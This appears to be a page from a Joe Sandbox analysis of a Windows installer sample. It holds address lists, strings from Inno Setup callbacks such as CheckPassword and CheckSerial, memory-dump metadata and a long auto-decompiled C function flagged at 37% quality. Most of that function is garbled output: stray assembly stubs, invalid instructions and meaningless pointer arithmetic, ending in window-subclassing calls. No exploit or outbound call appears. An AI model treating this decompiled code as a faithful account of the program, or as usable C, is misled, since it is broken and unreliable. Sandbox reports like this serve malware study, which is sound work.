0x00477c53
0x00477c56
0x00000000
0x00000000
0x00000000
0x00477c56
0x00477c47
0x00000000
0x00477c47
0x00477b9f
0x00477ba2
0x00477ba9
0x00477bae
0x00477bb3
0x00477bbf
0x00477bc4
0x00477bcd
0x00477bda
0x00477bdf
0x00477be4
0x00477be9
0x00477bef
0x00477bf4
0x00477bf9
0x00477bfe
0x00477bfe
0x00477c03
0x00477c06
0x00477c06
0x00477c06
0x00000000
0x00477ba9
0x00477b1b
0x00477b1e
0x00477b25
0x00477b2a
0x00477b2f
0x00477b3b
0x00477b40
0x00477b49
0x00477b56
0x00477b5b
0x00477b60
0x00477b65
0x00477b6b
0x00477b70
0x00477b75
0x00477b7a
0x00477b7a
0x00477b7f
0x00477b82
0x00477b82
0x00477b82
0x00000000
0x00477b25
0x00477a97
0x00477a9a
0x00477aa1
0x00477aa6
0x00477aab
0x00477ab7
0x00477abc
0x00477ac5
0x00477ad2
0x00477ad7
0x00477adc
0x00477ae1
0x00477ae7
0x00477aec
0x00477af1
0x00477af6
0x00477af6
0x00477afb
0x00477afe
0x00477afe
0x00477afe
0x00000000
0x00477aa1
0x004777e9
0x004777ee
0x004777f0
0x004777f5
0x004777f5
0x004777fc
0x00477801
0x00477806
0x0047780b
0x00477810
0x00477810
0x00000000

Strings

CheckPassword, xrefs: 004778FF
InitializeSetup, xrefs: 0047798B
CheckSerial, xrefs: 0047792B
InitializeSetup returned False; aborting., xrefs: 004779C3

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: ClassInfoMessageSend
String ID: CheckPassword$CheckSerial$InitializeSetup$InitializeSetup returned False; aborting.
API String ID: 1455646776-4126056991
Opcode ID: 60ae33f4eac01a0d6763c8fa2d619def215831b338c17f15a5ef426c0b7931ba
Instruction ID: 2b3497599f3d82cf12ff1455341614eb347a79affe37edd13f538060068cf537
Opcode Fuzzy Hash: 60ae33f4eac01a0d6763c8fa2d619def215831b338c17f15a5ef426c0b7931ba
Instruction Fuzzy Hash: 0F223F74A042448FDB01EF69E886A9E77B1FB14308F54C0BBE4089B366D739AC45CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00413202 Relevance: 9.6, APIs: 6, Instructions: 615
COMMONCrypto

Download Yara Rule

C-Code - Quality: 37%

			E00413202(signed int __ebx, void* __ecx, signed int __edx, signed int __edi, signed int __esi, signed long long __fp0, struct HWND__* _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a64, signed int _a65) {
				intOrPtr _v4;
				struct HWND__* _v30;
				char _v42;
				signed char _t351;
				signed char _t352;
				signed char _t353;
				signed int _t355;
				intOrPtr _t356;
				intOrPtr _t357;
				void* _t358;
				intOrPtr* _t360;
				signed char _t361;
				signed char _t362;
				signed int _t364;
				struct HWND__* _t365;
				void* _t367;
				void* _t371;
				void* _t375;
				signed int _t379;
				void* _t384;
				void* _t385;
				intOrPtr* _t388;
				void* _t395;
				signed int _t398;
				signed char _t399;
				void* _t405;
				signed char _t406;
				intOrPtr* _t407;
				signed char _t415;
				signed char _t416;
				intOrPtr* _t421;
				signed char _t426;
				signed char _t429;
				signed char _t430;
				signed char _t431;
				signed char _t432;
				void* _t433;
				void* _t434;
				void* _t436;
				void* _t438;
				signed int _t439;
				signed int _t440;
				void* _t445;
				signed char _t446;
				void* _t447;
				void* _t449;
				signed int _t454;
				void* _t457;
				void* _t458;
				void* _t459;
				signed int _t460;
				intOrPtr* _t461;
				intOrPtr* _t467;
				signed int _t468;
				signed int* _t471;
				signed int _t474;
				signed int _t478;
				intOrPtr* _t480;
				void* _t481;
				signed int* _t482;
				signed int* _t484;
				signed int* _t485;
				signed int* _t486;
				intOrPtr* _t487;
				signed int* _t489;
				signed int* _t490;
				intOrPtr* _t492;
				void* _t493;
				signed int _t494;
				void* _t495;
				void* _t497;
				void* _t498;
				signed int _t499;
				signed int _t502;
				signed int _t503;
				signed int* _t504;
				void* _t505;
				signed int _t508;
				void* _t510;
				signed int _t511;
				intOrPtr _t524;
				intOrPtr _t528;
				void* _t535;
				intOrPtr _t541;
				intOrPtr _t543;
				void* _t553;
				void* _t567;
				signed int _t568;
				signed int _t582;
				signed int _t587;
				signed int _t589;
				signed int _t591;
				signed int _t603;
				signed long long _t607;

				_t607 = __fp0;
				_t503 = __esi;
				_t502 = __edi;
				_t499 = __edx;
				_t439 = __ebx;
				_t352 = _t351;
				asm("outsd");
				 *((intOrPtr*)(_t352 - 0x23ffbe91)) =  *((intOrPtr*)(_t352 - 0x23ffbe91)) + __ebx;
				asm("outsd");
				_t445 = __ecx + 2;
				 *((intOrPtr*)(_t352 + __esi * 2)) =  *((intOrPtr*)(_t352 + __esi * 2)) + _t445;
				_t446 = _t445 + 1;
				 *((intOrPtr*)(_t352 + 0x41 + __esi * 2)) =  *((intOrPtr*)(_t352 + 0x41 + __esi * 2)) + _t446;
				 *((intOrPtr*)(_t352 + 0x41 + __esi * 2)) =  *((intOrPtr*)(_t352 + 0x41 + __esi * 2)) + _t446;
				_t19 = _t352 - 0x4bffbe90;
				 *_t19 =  *((intOrPtr*)(_t352 - 0x4bffbe90)) + __edx;
				if( *_t19 < 0) {
					L13:
					_t353 = _t352;
					if(_t524 <= 0) {
						goto L35;
					} else {
						 *((intOrPtr*)(_t503 + 0x77340041 + _t503 * 2)) =  *((intOrPtr*)(_t503 + 0x77340041 + _t503 * 2)) + _t499;
						goto L15;
					}
				} else {
					_t438 = _t352 + __ebx;
					if(_t438 < 0) {
						L15:
						_t429 = 0x76;
						_t446 = _t446 + 1;
					} else {
						_t429 = _t438 + __ebx;
						if(_t429 < 0) {
							_t430 = _t429 ^ 0x00000077;
							_t446 = _t446 + 1;
							_t59 = _t430 + 0x77;
							 *_t59 =  *((intOrPtr*)(_t430 + 0x77)) + _t439;
							_t528 =  *_t59;
							goto L18;
						} else {
							 *_t429 =  *_t429 + __ebx;
							if( *_t429 >= 0) {
								L18:
								_pop(_t426);
								if(_t528 > 0) {
									goto L38;
								} else {
									_t431 = _t426 + _t439;
									goto L20;
								}
							} else {
								_t431 = _t429 + _t446;
								if(_t431 >= 0) {
									L20:
									asm("clc");
									asm("outsd");
									_t446 = _t446 + 1;
									 *((intOrPtr*)(_t431 + _t503 * 2)) =  *((intOrPtr*)(_t431 + _t503 * 2)) + _t446;
									goto L21;
								} else {
									_t431 = _t431 + _t446;
									if(_t431 >= 0) {
										L21:
										_t432 = _t431 | 0x00000070;
										_t446 = _t446 + 1;
										 *((intOrPtr*)(_t432 + _t503 * 2)) =  *((intOrPtr*)(_t432 + _t503 * 2)) + _t439;
										goto L22;
									} else {
										_t432 = _t431 + __ebx;
										if(_t432 >= 0) {
											L22:
											asm("sbb al, 0x70");
											_t446 = _t446 + 1;
											_t433 = _t432 + _t446;
											goto L23;
										} else {
											_t433 = _t432 + __edx;
											if(_t433 >= 0) {
												L23:
												asm("enter 0x4177, 0x0");
											} else {
												_t434 = _t433 + __edx;
												if(_t434 >= 0) {
													_t607 = _t607 /  *(_t502 + 0x41);
												} else {
													_t21 = _t434 - 0x3fffbe8c;
													 *_t21 =  *((intOrPtr*)(_t434 - 0x3fffbe8c)) + _t434;
													if( *_t21 == 0) {
														asm("in al, dx");
														if(_t535 > 0) {
															_t421 = 0xac004179;
														} else {
															_t421 = _t436 + _t499;
															if(_t421 > 0) {
																asm("lodsb");
																if(_t553 != 0) {
																	_t499 = _t499 |  *(_t502 + 0x69 + _t499 * 2);
																	asm("outsb");
																	_t439 = _t439 + 1;
																	asm("outsd");
																	asm("outsb");
																	if(_t567 == 0) {
																		_t446 = _t446 + 1;
																		 *_t439 =  *_t439 & _t446;
																		_t353 =  *_t446;
																		 *_t446 = _t421 + _t439 -  *((intOrPtr*)(_t421 + _t439)) + 1 + _t421 + _t439 -  *((intOrPtr*)(_t421 + _t439)) + 1;
																		 *((intOrPtr*)(_t353 + 0x53c80040 + _t502 * 4)) =  *((intOrPtr*)(_t353 + 0x53c80040 + _t502 * 4)) + _t499;
																		goto L91;
																	} else {
																		asm("outsd");
																		goto L73;
																	}
																} else {
																	 *((intOrPtr*)(_t439 + 0x7bd80041 + _t502 * 2)) =  *((intOrPtr*)(_t439 + 0x7bd80041 + _t502 * 2)) + _t421;
																	_t498 = _t446 + 1;
																}
															} else {
																 *((intOrPtr*)(_t421 + 0x41 + _t502 * 2)) =  *((intOrPtr*)(_t421 + 0x41 + _t502 * 2)) + _t446;
																 *((intOrPtr*)(_t421 + 0x78b40041 + _t502 * 2)) =  *((intOrPtr*)(_t421 + 0x78b40041 + _t502 * 2)) + _t446;
																goto L31;
															}
														}
													} else {
														 *((intOrPtr*)(_t505 + 0x41 + __esi * 2)) =  *((intOrPtr*)(_t505 + 0x41 + __esi * 2)) + __ebx;
														 *((intOrPtr*)(_t505 + 0x41 + __esi * 2)) =  *((intOrPtr*)(_t505 + 0x41 + __esi * 2)) + __ebx;
														_t421 = _t434 + __edx;
														if(_t421 != 0) {
															L31:
															asm("invalid");
															 *((intOrPtr*)(_t421 + 0x78f00041 + _t502 * 2)) =  *((intOrPtr*)(_t421 + 0x78f00041 + _t502 * 2)) + _t499;
															goto L32;
														} else {
															 *_t421 =  *_t421 + __edx;
															if( *_t421 <= 0) {
																L32:
																_t446 = _t446 + 1;
																_t421 = 0x78 + _t499;
																if(_t421 < 0) {
																	goto L54;
																} else {
																	 *_t421 =  *_t421 + _t499;
																	if( *_t421 >= 0) {
																		L54:
																		asm("adc [edx+0x41], bh");
																	} else {
																		_t88 = _t421 + 0x79;
																		 *_t88 =  *((intOrPtr*)(_t421 + 0x79)) + _t499;
																		_t541 =  *_t88;
																		L35:
																		if(_t541 < 0) {
																			L73:
																			asm("insb");
																			_pop(es);
																			_t499 = _t499 |  *(_t502 + 0x69 + _t499 * 2);
																			asm("outsb");
																			_t439 = _t439 + 1;
																			_t568 = _t439;
																			asm("outsd");
																			asm("outsb");
																			if (_t568 == 0) goto L91;
																			if(_t568 < 0) {
																				L91:
																				_t353 = 0x53c80040;
																				_t447 = _t446 + 1;
																				 *0x73C840F7 =  *((intOrPtr*)(0x73c840f7)) + _t499;
																				_t439 = 0x40;
																				 *_t353 =  *_t353 + _t353;
																				_push(es);
																				_t353 = _t353 + _t353;
																				_t510 = _t510 + 1;
																				_t449 = _t447 + 2;
																				 *((intOrPtr*)(_t510 + 0x41 + _t353 * 2)) =  *((intOrPtr*)(_t510 + 0x41 + _t353 * 2)) + _t499;
																				_t353 = _t353 + _t439 - 1;
																				 *((intOrPtr*)(_t503 + _t353)) =  *((intOrPtr*)(_t503 + _t353)) + _t439;
																				 *((intOrPtr*)(_t503 + _t353)) =  *((intOrPtr*)(_t503 + _t353)) + _t499;
																				 *((intOrPtr*)(_t353 - 0x7a)) =  *((intOrPtr*)(_t353 - 0x7a)) + _t499;
																				 *((intOrPtr*)(_t502 + _t353 * 2)) =  *((intOrPtr*)(_t502 + _t353 * 2)) + _t353;
																				_t454 = _t449 + 5;
																				 *((intOrPtr*)(_t353 + 0x74004146)) =  *((intOrPtr*)(_t353 + 0x74004146)) + _t454;
																				 *((intOrPtr*)(_t505 + 0x41 + _t454 * 2)) =  *((intOrPtr*)(_t505 + 0x41 + _t454 * 2)) + _t499;
																				 *((intOrPtr*)(_t439 + 0x44400041 + _t353 * 2)) =  *((intOrPtr*)(_t439 + 0x44400041 + _t353 * 2)) + _t454;
																				_t353 = _t353 + _t353;
																				_t457 = _t454 + 1 - 1 + 1;
																				 *((intOrPtr*)(_t499 + 0x41 + _t499 * 2)) =  *((intOrPtr*)(_t499 + 0x41 + _t499 * 2)) + _t499;
																			} else {
																				asm("outsd");
																			}
																		} else {
																			_t495 = _t446 + 1;
																			 *((intOrPtr*)(_t353 + _t502 * 2)) =  *((intOrPtr*)(_t353 + _t502 * 2)) + _t353;
																			_t426 = _t353 & 0x00000078;
																			 *((intOrPtr*)(_t426 + 0x77)) =  *((intOrPtr*)(_t426 + 0x77)) + _t439;
																			_t446 = _t495 + 2;
																			_t96 = _t426 - 0x63ffbe89;
																			 *_t96 =  *((intOrPtr*)(_t426 - 0x63ffbe89)) + _t499;
																			_t543 =  *_t96;
																			L38:
																			if(_t543 > 0) {
																				asm("loopne 0xffffff87");
																				_t497 = _t446 + 1;
																				 *_t426 =  *_t426 + _t439;
																				asm("sbb [ebx+0x41], dh");
																			} else {
																				 *((intOrPtr*)(_t502 + 0x77a80041 + _t503 * 2)) =  *((intOrPtr*)(_t502 + 0x77a80041 + _t503 * 2)) + _t439;
																			}
																		}
																	}
																}
															} else {
																 *((intOrPtr*)(__esi + 0x41 + __esi * 2)) =  *((intOrPtr*)(__esi + 0x41 + __esi * 2)) + _t421;
																 *((intOrPtr*)(__esi + 0x41 + __esi * 2)) =  *((intOrPtr*)(__esi + 0x41 + __esi * 2)) + _t421;
																_t47 = _t421 - 0x4bffbe8a;
																 *_t47 =  *((intOrPtr*)(_t421 - 0x4bffbe8a)) + __ebx;
																_t524 =  *_t47;
																goto L13;
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
				_push(_t510);
				_push(_t499);
				_t458 = _t457 + 1;
				_t355 = _t353 + _t458;
				_t504 = _t503 - 1;
				_t459 = _t458 + 1;
				 *((intOrPtr*)(_t355 + 0x4f)) =  *((intOrPtr*)(_t355 + 0x4f)) + _t459;
				_t460 = _t459 + 1;
				 *((intOrPtr*)(_t505 + 0x41 + _t355 * 2)) =  *((intOrPtr*)(_t505 + 0x41 + _t355 * 2)) + _t499;
				 *((intOrPtr*)(_t502 + _t460 * 2)) =  *((intOrPtr*)(_t502 + _t460 * 2)) + _t460;
				_t461 = _t460 + 1;
				 *((intOrPtr*)(_t502 + 0x41 + _t355 * 4)) =  *((intOrPtr*)(_t502 + 0x41 + _t355 * 4)) + _t461;
				 *_t461 =  *_t461 + _t355;
				 *_t502 =  *_t502 + _t461;
				_t356 = _t355 + _t499;
				_t357 =  *_t461;
				 *_t461 = _t356;
				asm("andps xmm0, [edi+0x72]");
				asm("popad");
				if(_t356 < 0) {
					L100:
					_t358 = _t357 + _t461;
					_push(_t439);
					 *((intOrPtr*)(_t358 + 0x200040b7)) =  *((intOrPtr*)(_t358 + 0x200040b7)) + _t499;
					_push(es);
					_t357 = _t358 + _t358;
					_t511 = _t510 + 1;
					_t461 = _t461 + 3;
					 *((intOrPtr*)(_t439 + _t439 * 2)) =  *((intOrPtr*)(_t439 + _t439 * 2)) + _t499;
					goto L101;
				} else {
					_t511 =  *(_t439 + 0x43) * 0x72746e6f;
					asm("outsd");
					asm("insb");
					_pop(es);
					asm("andps xmm0, [edi+0x72]");
					asm("popad");
					if(_t511 < 0) {
						L101:
						asm("adc al, 0x5b");
						_t360 = _t357 + _t439 - 1;
						 *((intOrPtr*)(_t504 + _t360)) =  *((intOrPtr*)(_t504 + _t360)) + _t439;
						 *((intOrPtr*)(_t504 + _t360)) =  *((intOrPtr*)(_t504 + _t360)) + _t499;
						_t467 = _t461 + 4;
						 *_t360 =  *_t360 + _t439;
						_t361 =  *_t467;
						_t607 = _t607 +  *((intOrPtr*)(_t467 - 0x7e07ffbf));
						_t468 = _t467 + 1;
						 *((intOrPtr*)(_t361 + 0x41 + _t361 * 4)) =  *((intOrPtr*)(_t361 + 0x41 + _t361 * 4)) + _t468;
						 *((intOrPtr*)(_t439 + 0x44400041 + _t361 * 2)) =  *((intOrPtr*)(_t439 + 0x44400041 + _t361 * 2)) + _t468;
					} else {
						_t511 =  *(_t439 + 0x43) * 0x72746e6f;
						asm("outsd");
						asm("insb");
						_t361 =  *0xe0004133;
						asm("das");
						_t468 = _t461 + 1;
						 *_t361 =  *_t361 + _t468;
						 *_t361 =  *_t361 + _t468;
						_t439 = _t439 + 1;
						_t582 = _t439;
						asm("outsd");
						asm("outsb");
						if(_t582 != 0) {
							asm("outsd");
							asm("insb");
							if (_t582 >= 0) goto L99;
							 *((intOrPtr*)(_t439 + 0xc0)) =  *((intOrPtr*)(_t439 + 0xc0)) + _t468;
							 *_t361 =  *_t361 + _t361;
							 *_t361 =  *_t361 + _t361;
							_t504[0x10] = _t504[0x10] + _t361;
							 *_t361 =  *_t361 + _t361;
							 *_t361 =  *_t361 + _t361;
							 *_t361 =  *_t361 + _t361;
							asm("in al, dx");
							_t415 = (_t361 ^ 0x00000041) + _t499 ^ 0x00000041;
							 *_t415 =  *_t415 + _t415;
							 *_t415 =  *_t415 + _t415;
							_t416 = _t415 + _t499;
							 *_t468 =  *_t468 ^ _t416;
							 *((intOrPtr*)(_t439 + 0x41)) =  *((intOrPtr*)(_t439 + 0x41)) - _t468;
							 *_t439 =  *_t439 & _t468;
							 *((intOrPtr*)(_t499 + _t468 * 4 - 0x476bffbf)) =  *((intOrPtr*)(_t499 + _t468 * 4 - 0x476bffbf)) + _t468;
							_t357 = _t416 + _t439 -  *((intOrPtr*)(_t416 + _t439)) + 2;
							goto L100;
						}
					}
				}
				 *((intOrPtr*)(_t361 + 0x44)) =  *((intOrPtr*)(_t361 + 0x44)) + _t361;
				_t362 = _t361 + _t361;
				_t471 = _t468 + 1 - 1 + 1;
				 *_t362 =  *_t362 + _t362;
				_push(0x41);
				 *((intOrPtr*)(_t362 - 0x17ffbe80)) =  *((intOrPtr*)(_t362 - 0x17ffbe80)) + _t362;
				 *_t471 =  *_t471 + 0xb4;
				if( *_t471 < 0) {
					L106:
					_t440 = _t439 + 1;
					asm("outsd");
					asm("outsb");
					if(_t440 == 0) {
						goto L115;
					} else {
						asm("outsd");
						asm("insb");
						_pop(es);
						_push(cs);
						_push(_t511);
						_t440 = _t440 + 1;
						_t589 = _t440;
						if(_t589 != 0) {
							goto L117;
						} else {
							if(_t589 == 0) {
								goto L116;
							} else {
								asm("insd");
								_t440 = _t440 + 1;
								asm("outsd");
								asm("outsb");
								if(_t440 == 0) {
									goto L118;
								} else {
									asm("outsd");
									asm("insb");
									asm("insb");
									_t364 = _t362 ^ 0x00000041;
									 *((intOrPtr*)(_t504 + _t440)) =  *((intOrPtr*)(_t504 + _t440)) + _t364;
									_t474 =  &(_t471[0]);
									 *_t474 =  *_t474 + _t474;
									 *_t364 =  *_t364 + _t474;
									_t440 = _t440 + 1;
									_t591 = _t440;
									asm("outsd");
									asm("outsb");
									if(_t591 != 0) {
										asm("outsd");
										asm("insb");
										if (_t591 >= 0) goto L112;
										_a64 = _a64 + _t474;
										 *_t364 =  *_t364 + _t364;
										 *_t364 =  *_t364 + _t364;
										 *_t364 =  *_t364 + _t364;
										asm("cld");
										_t398 = _t364 ^ 0x00000041;
										 *_t398 =  *_t398 + _t398;
										 *_t398 =  *_t398 + _t398;
										 *_t398 =  *_t398 + _t398;
										0xf041767a();
										_t399 = _t398 ^ 0x01000041;
										 *_t399 =  *_t399 + _t399;
										asm("insb");
										 *(_t399 ^ 0x00000041) =  *(_t399 ^ 0x00000041) + _t474;
										 *_t440 =  *_t440 & _t474;
										 *((intOrPtr*)(_t499 + _t474 * 4 - 0x476bffbf)) =  *((intOrPtr*)(_t499 + _t474 * 4 - 0x476bffbf)) + _t474;
										_t405 =  *_t474 * 0xfffffff8 -  *( *_t474 * 0xfffffff8) + 2 + _t474;
										_push(_t440);
										_t487 = _t474 + 1;
										 *((intOrPtr*)(_t405 + 0x200040b7)) =  *((intOrPtr*)(_t405 + 0x200040b7)) + _t499;
										goto L113;
									}
								}
							}
						}
					}
				} else {
					_t407 = _t471 + _t362;
					 *_t471 =  *_t471 + 0xf4;
					_pop(_t504);
					_t489 =  &(_t471[0]);
					 *_t407 =  *_t407 + _t489;
					_t490 =  &(_t489[0]);
					asm("bound eax, [ecx]");
					asm("arpl [ecx], ax");
					_a65 = _a65 << 1;
					 *((intOrPtr*)((_t407 + _t490 ^ 0x00000065) + _t499 + 0x65)) =  *((intOrPtr*)((_t407 + _t490 ^ 0x00000065) + _t499 + 0x65)) + _t439;
					_t492 = _t490 + 2;
					_t406 =  *_t492 + 0x7f;
					_t493 = _t492 + 1;
					 *((intOrPtr*)(_t406 - 0x7f)) =  *((intOrPtr*)(_t406 - 0x7f)) + _t493;
					_t494 = _t493 + 1;
					 *((intOrPtr*)(_t439 + _t494 * 4)) =  *((intOrPtr*)(_t439 + _t494 * 4)) + _t499;
					_t487 = _t494 + 1;
					 *_t487 =  *_t487 + _t406;
					 *_t502 =  *_t502 + _t487;
					 *((intOrPtr*)(_t406 + 0xe00418a)) =  *((intOrPtr*)(_t406 + 0xe00418a)) + _t439;
					_push(_t511);
					_t440 = _t439 + 1;
					_t587 = _t440;
					if(_t587 != 0) {
						L114:
						 *_t504 =  *_t504 & _t406;
						_t362 = _t406 + _t406;
						_t511 = _t511 + 1;
						_t471 = _t487 + 2;
						L115:
						 *((intOrPtr*)(_t440 + _t440 * 2)) =  *((intOrPtr*)(_t440 + _t440 * 2)) + _t499;
						_t362 = _t362 + _t440 - 1;
						_t471 =  &(_t471[0]);
						L116:
						 *((intOrPtr*)(_t504 + _t362)) =  *((intOrPtr*)(_t504 + _t362)) + _t440;
						L117:
						_push(es);
						 *((intOrPtr*)(_t504 + _t362)) =  *((intOrPtr*)(_t504 + _t362)) + _t499;
						_t471 =  &(_t471[0]);
						 *((intOrPtr*)(_t362 - 0x79)) =  *((intOrPtr*)(_t362 - 0x79)) + _t499;
						L118:
						_push(_t362);
						_t364 =  *_t471;
						 *_t471 = _t362;
						_t474 =  &(_t471[0]);
						 *((intOrPtr*)(_t364 + 0x41 + _t364 * 4)) =  *((intOrPtr*)(_t364 + 0x41 + _t364 * 4)) + _t474;
						 *((intOrPtr*)(_t440 + 0x44400041 + _t364 * 2)) =  *((intOrPtr*)(_t440 + 0x44400041 + _t364 * 2)) + _t474;
					} else {
						if(_t587 == 0) {
							L113:
							_t406 = _t405 + 1;
							 *_t406 =  *_t406 + _t406;
							goto L114;
						} else {
							asm("insd");
							goto L106;
						}
					}
				}
				 *((intOrPtr*)(_t364 + 0x44)) =  *((intOrPtr*)(_t364 + 0x44)) + _t364;
				_t365 = _t364 + _t364;
				_t478 = _t474 + 2 - 1 + 1;
				_t365->i = _t365 + _t365->i;
				_push(0x41);
				 *((intOrPtr*)(_t365 - 0x17ffbe80)) =  *((intOrPtr*)(_t365 - 0x17ffbe80)) + _t365;
				 *_t478 =  *_t478 + 0xb4;
				if( *_t478 >= 0) {
					_t388 = _t365 + _t478;
					 *_t478 =  *_t478 + 0xf4;
					_pop(_t504);
					_t481 = _t478 + 1;
					 *_t388 =  *_t388 + _t481;
					_t482 = _t481 + 1;
					 *_t482 = _t388 + _t499;
					asm("arpl [ecx], ax");
					_a65 = _a65 << 1;
					 *((intOrPtr*)(( *_t482 ^ 0x00000065) + _t499 + 0x65)) =  *((intOrPtr*)(( *_t482 ^ 0x00000065) + _t499 + 0x65)) + _t440;
					_t484 =  &(_t482[0]);
					_t395 =  *_t484 + 0x7f;
					_t485 =  &(_t484[0]);
					 *((intOrPtr*)(_t395 - 0x7f)) =  *((intOrPtr*)(_t395 - 0x7f)) + _t485;
					_t486 =  &(_t485[0]);
					 *_t486 = _t395 + _t440;
					 *(_t486 - 0x776fffbf) = _t486;
					_t478 =  &(_t486[0]);
					 *_t478 =  *_t478 +  *_t486;
					 *_t499 =  *_t499 + _t499;
					_t365 = 0xfc;
					 *_t478 = 0xfc;
				}
				asm("outsb");
				if((_t499 |  *(_t365 + 0x69 + _t478 * 2)) == 0) {
					L127:
					asm("lock mov eax, [ebp+0x8]");
					if((GetWindowLongA(_t365, ??) & 0x40000000) != 0) {
						_t379 = GetWindowLongA(_a8, 0xfffffff4);
						goto L129;
					}
					goto L131;
				} else {
					_push(_t511);
					_t379 = _t365 - 1;
					_t508 = _t504[0x1d] * 0x646e6957;
					asm("outsd");
					if(_t508 > 0) {
						L129:
						if(_t379 == 0) {
							SetWindowLongA(_a8, 0xfffffff4, _a8);
						}
						L131:
						_t367 =  *0x48e2d8; // 0x0
						_push(_t367);
						_push( *0x48f5c8 & 0x0000ffff);
					} else {
						_t480 = _t478 + 1;
						 *_t480 =  *_t480 + _t480;
						 *(_t379 ^ 0x35040041) =  *(_t379 ^ 0x35040041) + _t480;
						_t440 = _t440 + 1;
						_t603 = _t440;
						asm("outsd");
						asm("outsb");
						if(_t603 != 0) {
							asm("outsd");
							asm("insb");
							if (_t603 >= 0) goto L125;
							 *((intOrPtr*)(_t440 - 0x1374aa40)) =  *((intOrPtr*)(_t440 - 0x1374aa40)) + _t480;
							_push(_t508);
							_push(_t480);
							_push(_t440);
							_t440 =  &_v42;
							_t384 =  *0x48e2d8; // 0x0
							 *((intOrPtr*)(_t384 + 0xc0)) = _v30;
							_t385 =  *0x48e2d8; // 0x0
							_t365 = SetWindowLongA(_v30, 0xfffffffc,  *(_t385 + 0xa8));
							_push(0xfffffff0);
							goto L127;
						}
					}
				}
				SetPropA(_a8, ??, ??);
				_t371 =  *0x48e2d8; // 0x0
				SetPropA(_a8,  *0x48f5c6 & 0x0000ffff, _t371);
				_t375 =  *0x48e2d8; // 0x0
				 *0x48e2d8 = 0; // executed
				_v4 =  *((intOrPtr*)(_t375 + 0xa8))(_a8, _a12, _a16, _a20);
				return  *_t440;
			}

0x00413202
0x00413202
0x00413202
0x00413202
0x00413202
0x00413202
0x00413203
0x00413205
0x0041320b
0x0041320c
0x0041320d
0x00413210
0x00413211
0x00413215
0x00413219
0x00413219
0x0041321f
0x00413262
0x00413262
0x00413263
0x00000000
0x00413265
0x00413265
0x00000000
0x00413265
0x00413221
0x00413221
0x00413223
0x00413266
0x00413266
0x00413268
0x00413225
0x00413225
0x00413227
0x0041326a
0x0041326c
0x0041326d
0x0041326d
0x0041326d
0x00000000
0x00413229
0x00413229
0x0041322b
0x0041326e
0x0041326e
0x0041326f
0x00000000
0x00413271
0x00413271
0x00000000
0x00413271
0x0041322d
0x0041322d
0x0041322f
0x00413272
0x00413272
0x00413273
0x00413274
0x00413275
0x00000000
0x00413231
0x00413231
0x00413233
0x00413276
0x00413276
0x00413278
0x00413279
0x00000000
0x00413235
0x00413235
0x00413237
0x0041327a
0x0041327a
0x0041327c
0x0041327d
0x00000000
0x00413239
0x00413239
0x0041323b
0x0041327e
0x0041327e
0x0041323d
0x0041323d
0x0041323f
0x00413282
0x00413241
0x00413241
0x00413241
0x00413247
0x0041328a
0x0041328b
0x004132ce
0x0041328d
0x0041328d
0x0041328f
0x004132d2
0x004132d3
0x00413316
0x0041331a
0x0041331b
0x0041331c
0x0041331d
0x0041331e
0x00413392
0x00413398
0x0041339d
0x0041339d
0x0041339f
0x00000000
0x00413320
0x00413320
0x00000000
0x00413320
0x004132d5
0x004132d5
0x004132dc
0x004132dc
0x00413291
0x00413291
0x00413295
0x00000000
0x00413295
0x0041328f
0x00413249
0x00413249
0x0041324d
0x00413251
0x00413253
0x00413296
0x00413296
0x00413299
0x00000000
0x00413255
0x00413255
0x00413257
0x0041329a
0x0041329c
0x0041329d
0x0041329f
0x00000000
0x004132a1
0x004132a1
0x004132a3
0x004132e6
0x004132e6
0x004132a5
0x004132a5
0x004132a5
0x004132a5
0x004132a6
0x004132a6
0x00413321
0x00413321
0x00413324
0x00413325
0x00413329
0x0041332a
0x0041332a
0x0041332b
0x0041332c
0x0041332d
0x0041332e
0x004133a1
0x004133a1
0x004133a6
0x004133a7
0x004133a9
0x004133ab
0x004133ad
0x004133af
0x004133b1
0x004133b2
0x004133b3
0x004133b9
0x004133bb
0x004133bf
0x004133c3
0x004133c7
0x004133ca
0x004133cb
0x004133cf
0x004133d3
0x004133db
0x004133de
0x004133df
0x0041332f
0x0041332f
0x0041332f
0x004132a8
0x004132a8
0x004132a9
0x004132aa
0x004132ad
0x004132b0
0x004132b1
0x004132b1
0x004132b1
0x004132b3
0x004132b3
0x004132f6
0x004132f8
0x004132f9
0x004132fa
0x004132b5
0x004132b5
0x004132b5
0x004132b3
0x004132a6
0x004132a3
0x00413259
0x00413259
0x0041325d
0x00413261
0x00413261
0x00413261
0x00000000
0x00413261
0x00413257
0x00413253
0x00413247
0x0041323f
0x0041323b
0x00413237
0x00413233
0x0041322f
0x0041322b
0x00413227
0x00413223
0x004133e0
0x004133e1
0x004133e2
0x004133e3
0x004133e5
0x004133e6
0x004133e7
0x004133ea
0x004133eb
0x004133ef
0x004133f2
0x004133f3
0x004133f7
0x004133f9
0x004133fb
0x004133fd
0x004133fd
0x00413400
0x00413404
0x00413405
0x0041346f
0x0041346f
0x00413471
0x00413473
0x00413479
0x0041347b
0x0041347d
0x0041347e
0x0041347f
0x00000000
0x00413407
0x00413407
0x0041340e
0x0041340f
0x00413410
0x00413411
0x00413415
0x00413416
0x00413480
0x00413480
0x00413485
0x00413487
0x0041348b
0x0041348e
0x0041348f
0x00413491
0x00413494
0x0041349a
0x0041349b
0x0041349f
0x00413418
0x00413418
0x0041341f
0x00413420
0x00413421
0x00413426
0x00413427
0x00413428
0x0041342a
0x0041342c
0x0041342c
0x0041342d
0x0041342e
0x0041342f
0x00413431
0x00413432
0x00413433
0x00413435
0x0041343b
0x0041343d
0x0041343f
0x00413446
0x00413448
0x0041344a
0x0041344c
0x00413451
0x00413453
0x00413455
0x00413457
0x00413459
0x0041345c
0x00413464
0x00413467
0x0041346e
0x00000000
0x0041346e
0x0041342f
0x00413416
0x004134a3
0x004134a7
0x004134aa
0x004134ab
